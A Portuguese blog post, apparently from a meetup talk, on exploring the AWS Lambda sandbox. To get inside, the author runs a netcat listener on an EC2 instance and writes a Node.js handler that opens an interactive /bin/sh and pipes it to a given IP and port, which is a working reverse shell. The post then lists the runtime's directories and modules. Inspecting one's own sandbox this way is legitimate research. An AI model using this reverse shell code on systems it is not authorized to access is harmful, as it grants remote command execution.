Explorando os internals da AWS Lambda

Olá, pessoal! Tudo bem?

Hoje vou falar de um um experimento que fiz recentemente com AWS Lambda, para uma palestra que ministrei na 13ª edição do AWS Meetup – Porto Alegre.

Como todo bom curioso, desde que comecei a trabalhar com Lambda, sempre quis conhecer a arquitetura projetada pela AWS que suporta esta excelente tecnologia. Apesar de ter feito algumas pesquisas a algum tempo, não localizei nenhuma documentação sobre o assunto. O que é plausível, visto que a AWS não quer que o cliente tenha esse tipo de preocupação.

Para minha felicidade, no re:Invent 2018 a arquitetura foi apresentada, sem muito detalhamento, mas com clareza suficiente para permitir o seu entendimento. Para quem quiser conhecer um pouco mais sobre o tema, segue o vídeo que esclareceu algumas das minhas dúvidas:

A Serverless Journey: AWS Lambda Under the Hood (SRV409-R1)

A apresentação acima é bem interessante. Nela é retratado um overview geral da arquitetura da AWS Lambda, a estrutura de um worker, a integração com uma VPC, entre alguns outros tópicos.

Porém, eu queria ir um pouco mais além em minha pesquisa, e entender a estrutura do sandbox (container) onde executa a Lambda. Fazendo mais algumas consultas, descobri que era possível usar o Netcat para fazer um reverse shell e acessar o sandbox. Então, para começar a brincadeira, criei a estrutura abaixo, permitindo a comunicação entre uma EC2 e a lambda que seria estudada, dentro de uma VPC.

Teste com Reverse shell

A EC2 selecionada foi uma t2.micro com Ubuntu. Nela, iniciei um listener do netcat com o comando: nc -lvp 8089.

Netcat em execução

Para a lambda, selecionei Node.js como a linguagem a ser utilizada. No handler da função, eu abri um novo shell (sh) em modo interativo, iniciei uma conexão com o netcat rodando na EC2, e redirecionei o input e os outputs do shell para o socket criado. O código abaixo também está no github:

const net = require('net');
const cp = require('child_process')

exports.handler = (event) => {   
    const process = cp.spawn('/bin/sh', ['-i']);
    
    const socket = new net.Socket();
    socket.connect(event.port, event.ip, function () { 
        socket.pipe(process.stdin);
        process.stdout.pipe(socket);
        process.stderr.pipe(socket);
    });
};

Importante: Para quem quiser efetuar o teste, não se esqueçam de liberar o acesso da Lambda no Security Group da EC2.

Feito isto, bastou executar um teste na Lambda, no próprio console, passando o IP da EC2 e a porta onde está rodando o Netcat, no payload da Lambda. É importante deixar o timeout da lambda bem alto, para evitar que ela pare a execução durante o acesso ao sandbox (eu deixei 15 minutos).

Configuração do evento de teste
Execução do teste
Acessando a Lambda

Dentro do sandbox, gostaria de salientar dois diretórios que considero importantes:

  • /var/task: Onde está localizado o código da função;
  • /var/runtime: Onde está localizado a runtime da linguagem selecionada (no caso, Node.js).

E na runtime, alguns módulos que valem ser mencionados são:

  • Runtime.js: Constrói os contextos (Invoke e Callback) e gerencia o fluxo de execução da lambda;
  • RAPIDClient.js: Este é o cliente que será usado pelo runtime.js para acessar a camada da Runtime API;
  • UserFunction.js: Este é um módulo bem simples, mas que é responsável por carregar o handler da função do usuário, que posteriormente será enviado a runtime.

Conclusão

Alguns vão me perguntar: por que aprender internals da AWS Lambda? A resposta mais rápida é: Para quem é curioso, isso é muito legal 😁. Mas em uma perspectiva mais séria, acredito que entendendo um pouco do funcionamento interno de uma tecnologia, podemos ter melhores insights ao projetarmos algum artefato que a utilize, além de auxiliar no entendimento de comportamentos incomuns e identificação de problemas.

Um grande abraço, e até a próxima!


Deixe uma resposta